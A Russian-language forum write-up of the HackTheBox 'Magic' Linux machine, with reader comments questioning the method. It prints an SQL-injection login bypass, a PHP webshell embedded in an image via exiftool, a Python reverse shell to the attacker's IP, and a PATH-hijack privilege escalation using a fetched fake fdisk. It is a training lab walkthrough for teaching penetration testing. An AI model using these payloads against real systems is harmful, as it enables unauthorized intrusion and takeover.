CTF HackTheBox CTF "Magic" разбор Web-Linux (Уровень: Средний)

logo.png

Привет Форумчане!

Продолжаем рассматривать CTF с площадки HackTheBox, одна из таких интересных коробок по Linux будет разобрана в этой статье, не буду томить... Начнём!

Данные:

Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.3
IP адрес удаленной машины - 10.10.10.185
IP адрес основной машины - 10.10.14.34

Начальная разведка и сканирование портов:

Как всегда начинаем с сканирования портов удаленной рабочей машины, nmap поможет нам в этом:

nmap -sC -sV 10.10.10.185

Пока что мы сканируем только самые популярные порты. Посмотрим какой результат нам выдал nmap:

nmap.png


Видим два открытых порта 22/ssh и 80/http на сервере Apache 2.4.29. Зайдем на страницу этого сервера:

site.png


Видим какую-то галерею с космосом на заднем фоне, давайте откроем исходный код страницы:

uploads.png


Немного пролистав горизонтально код, мы натыкаемся на полный путь папки /images/uploads/ - видимо где-то здесь есть место для загрузки файлов. :unsure:
Давайте воспользуемся Dirsearch в связке с Gobuster. Что это за инструменты и для чего они нужны нам, как веб-пентестерам:

Dirsearch - это простая утилита терминала, предназначенная для брут-форса директорий и файлов по сайту. Он также способен искать известные файлы по заданным расширениям
Gobuster - один из самых мощных и быстрых инструментов. Он использует сканер каталогов, написанный на языке Go, он быстрее и гибче, чем интерпретируемый скрипт.

dirsearch -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,log,sql,txt,bak,tar,tar.gz.zip,rar,swp,gz,asp,aspx

С помощью параметра -u мы указываем ссылку на веб-сайт, параметр -w выбирает наш список по которому и будет происходить брут-форс, а параметр -e указывает допустимые или дополнительные расширения файлов.

dirsearch.png


gobuster dir -u http://10.10.10.185/ -w /root/SecLists/Discovery/Web-Content/raft-large-directories.txt

В Gobuster всё аналогично, кроме его параметра dir, этот параметр указывает что нужно перебирать директории, у Gobuster'а есть ещё несколько параметров поиска. Например таких как: vhost (Виртуальные хосты), dns (поддомены) и s3 (Перебор Amazon S3 buckets).

gobuster.png


К сожалению все переборы директорий закончились не очень удачно, так как они перенаправляют нас на 403 error (Нет прав доступа), но это не всё, всегда есть другая точка входа, в нашем случае это страница входа в аккаунт -> login.php
Заходим на неё и видим следующее:

login.png


Веб-Эксплуатация и получение пользователя

Нам предлагают ввести имя пользователя и пароль, открываем BurpSuite и начинаем проламываться через эту форму. Первое что нам нужно сделать это перехватить запрос, далее отправим его в Repeater:

error.png


Здесь внимание стоит обратить на alert, он говорит нам что у нас неправильный логин или пароль, давайте попробуем обойти авторизацию с помощью sql-injection или проще называемой "скули" :)
В параметр username добавим строчку ' or 1=1 -- - это обычный обход авторизации с помощью sql-injection основанной на буллевых значениях...
Отправляем запрос и видим перенаправление 302 Follow Redirect, переходим и получаем:

admin.png


Welcome Admin! Отлично мы админ, теперь видим перед собой форму загрузки файлов, попробуем загрузить наш PentestMonkey Reverse Shell с расширением .php

upload1.png


На что форма выдаёт ошибку где ссылается на то, что только файлы с расширениями JPG, JPEG И PNG доступны для загрузки.

error1.png


Теперь очередь обхода - этой формы загрузок, с помощью ExifTool (программы для просмотра метаданных) отредактируем комментарий в изображении скопировав туда обычный php reverse shell cmd:

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' runme.jpg

Теперь чтобы прогружать скрипт, а не саму картинку - переименуем её в
runme.php.jpg и загрузим. :coffee:
После успешной загрузки, мы вспоминаем про путь /images/uploads/ добавляем сюда наше имя файла и можем успешно добавлять POST запрос к нашему скрипту -

ls.png


Иии... Ура! У нас есть cmd webshell, давайте сделаем бэк-коннект до себя, добавив в URL
-c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.34",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

Revshell.png


Есть! Мы получили обратную оболочку, теперь мы будем спускаться по директориям вниз и параллельно смотреть содержимое интересных файлов, например такого как - db.php5 лежащего в директории /var/www/Magic:

db5.png


А вот и данные от базы данных, давайте посмотрим какие у нас есть пользователи, в папке /home/ есть только один пользователь - theseus
Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus, но этот пароль не подошёл к нему, хорошо, тогда сдампим базу данных через mysqldump:

mysqldump -B Magic -u theseus -p

Через параметр -B передаём имя БД, а через -u имя пользователя и -p пароль:

sqldump.png


И получаем имя пользователя admin и пароль Th3s3usW4sK1ng:cool:
Уж на этот раз, это точно должен быть пароль от пользователя theseus, подставим его:

theseus1.png


Да! Мы нашли пользовательский пароль. Зайдем в домашнюю директорию и выведем пользовательский флаг:

flag.png


Повышение привилегий

Теперь попробуем найти все SUID файлы:

find / -perm -u=s -type f 2>/dev/null


Эта команда выдаст нам все файлы, с разрешениями владельца файла которые мы можем выполнить и среди них мы видим интересный файл /bin/sysinfo.
Так как это бинарный файл, давайте посмотрим его строки:

strings /bin/sysinfo

localpriv.png


Среди строк мы находим уязвимость PATH Injection, так как утилита fdisk подгружается программой не через полный путь к нему! Попробуем это использовать, загрузим свой файл fdisk со следующим содержимым:

bashrev.png


Он будет содержать в себе самый обычный Bash Reverse Shell, итак откроем у себя порт через интересную утилиту Rlwrap.

Rlwrap - это отличная утилита суть которой заключается в упрощении управления пользовательским вводом, проще говоря вы сможете использовать стрелочки для редактирования и вставления прошлых команд из терминала при tty шелле!

Запустим его в связке с Netcat на порту 9998:

rlwrap nc -nvlp 9998

rlw.png


Загружаем наш файл на удаленную машину через Python модуль http.server с портом 80:

python3 -m http.server 80

python.png


Теперь скачиваем наш файл в папку /tmp/ через wget:

wget 10.10.14.34/fdisk

Надо дать права на выполнения этому файлу, используем команду chmod:

chmod +x fdisk

Теперь самая важная деталь этой уязвимости в честь чего она и названа эта инъекция - PATH (путь).
Нам нужно изменить путь запуска на наш, т.е /tmp/ - сделаем это командой
export:

export PATH=/tmp:$PATH

Запустим наш бинарный файл /bin/sysinfo и посмотрим наши подключения!

root.png


Поздравляю, мы получили root!

Выводы:

Эта CTF научила нас:
1) Пользоваться уязвимостью для обхода форм авторизаций на основе sql-инъекции
2) Обходить фильтрацию загрузки файлов и загружать туда шелл.
3) Брутить директории и файлы сайтов.
4) Использовать уязвимость PATH Injection.
5) И просто творить магию)

Спасибо, за то что вы прочитали мою статью! Скоро буду ;)
 
Последнее редактирование:

Qulan

Red Team
06.12.2020
171
515
BIT
482
страница входа в аккаунт -> login.php
Как нашел?
давайте попробуем обойти авторизацию с помощью sql-injection
На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?
Теперь очередь обхода - этой формы загрузок, с помощью ExifTool
почему сразу так? Как узнали на сторон ечего фильтр?
Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus
Метод входа через su или ssh? Там же есть ssh, почему не забзал?
так как утилита fdisk подгружается программой не через полный путь
Только ли fdisk?)))

Вообщем так можно продолжать дальше.
 
  • Нравится
Реакции: k11 и QuietMoth1

QuietMoth1

Red Team
18.10.2020
43
150
BIT
11
Как нашел?

На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?

почему сразу так? Как узнали на сторон ечего фильтр?

Метод входа через su или ssh? Там же есть ssh, почему не забзал?

Только ли fdisk?)))

Вообщем так можно продолжать дальше.
1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант
 

N1GGA

Codeby Team
Администратор
16.07.2018
362
356
BIT
468
Крутая статья. Интересно будет почитать про разбор машин, встречаемых или примерно похожих на PEN200 (он же OSCP).
 
  • Нравится
Реакции: QuietMoth1

Qulan

Red Team
06.12.2020
171
515
BIT
482
1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант
Ок
 
  • Нравится
Реакции: QuietMoth1
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!